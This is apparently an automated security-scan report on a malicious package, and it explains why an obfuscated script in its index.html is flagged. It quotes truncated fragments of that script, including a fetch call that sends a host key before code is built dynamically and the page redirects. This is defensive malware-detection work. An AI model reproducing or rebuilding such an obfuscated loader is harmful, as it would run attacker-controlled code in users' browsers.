sdfxdvxcvgnhfgncgbfgthhjklhui@1.0.0
AI Security Review
scanned 14d ago · by lpm-firewall-aiSource inspection found an obfuscated browser script that sends a host key and dynamically constructs executable code before redirecting. This is active remote-code behavior, so the package is malicious.
Static reason
One or more suspicious static signals were detected.
Trigger
A user opens index.html in a browser.
Impact
The response can control code executed in the page and the browser’s destination.
Mechanism
The inline script sends a host key, processes the response, constructs a function dynamically, and redirects the page.
Attack narrative
The inline script obscures its strings and control flow, sends a host key in a fetch request, and later constructs a function dynamically. It also redirects the browser. This is an active remote-code execution path when the page is opened.
AI rationale
Source inspection found an obfuscated browser script that sends a host key and dynamically constructs executable code before redirecting. This is active remote-code behavior, so the package is malicious.
Evidence
index.html
Decision evidence
public snapshotAI called this Malicious at 95.0% confidence as Malware with low false-positive risk.
Evidence for block
- The page’s inline script is heavily obfuscated and sends a host key in a network request.
- The script dynamically constructs a function and redirects the browser using a value produced by the script.
Evidence against
- package.json lists no lifecycle scripts; its main entry is index.html.
Behavioral surface
Network
HighEntropyStringsMinifiedPossibleObfuscation
NoLicense
Source & flagged code
5 flagged · loading sourceindex.htmlView file
182}
L183: (function(_0x1ec4ce,_0x489c27){const _0x38d97c={_0x3a7d65:0x273,_0x5b842f:0x2ee,_0x3e91b6:0x295,_0x3c004b:0x163,_0x31781e:0xd0,_0x29c09b:0x18f,_0x4ef4c0:0x101,_0xa71dc6:0xdf,_0x3e6...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.htmlView on unpkg · L182•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
index.htmlView on unpkg183_0x22acb1={};_0x22acb1['key']=hostKey;const _0x177d4b=await fetch(_0x783a7f[_0x5f1933(_0xd4a998._0x35b298,_0xd4a998._0x3f6ba1,_0xd4a998._0x1e4680,_0xd4a998._0x5b812d)],{'method':_0x783a7f[_0x5f1933(_0xd4a998._0x3f713b,_0xd4a998._0x1e240a,_0xd4a998._0x55fef2,0x15e)],'headers':{'Content-Type':_0x783a7f[_0x5f1933(_0xd4a998._0x1267d4,_0xd4a998._0x20a00d,_0xd4a998._0x35717a,_0xd4a998._0x1690c7)]},'body':JSON[_0x5f1933(_0xd4a998._0x4e45c9,0x23d,_0xd4a998._0x487400,_0xd4a998._0x18a
High
Ai Review Evidence
The page’s inline script is heavily obfuscated and sends a host key in a network request.
Findings
5 High2 Medium2 Low
HighObfuscated Payload Loaderindex.html
HighSemantic Analysis Limitedindex.html
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to sdfxdvxcvgnhfgncgbfgthhjklhui@1.0.0.
See all versions of sdfxdvxcvgnhfgncgbfgthhjklhui for other recorded verdicts.
- Avoid installing sdfxdvxcvgnhfgncgbfgthhjklhui@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
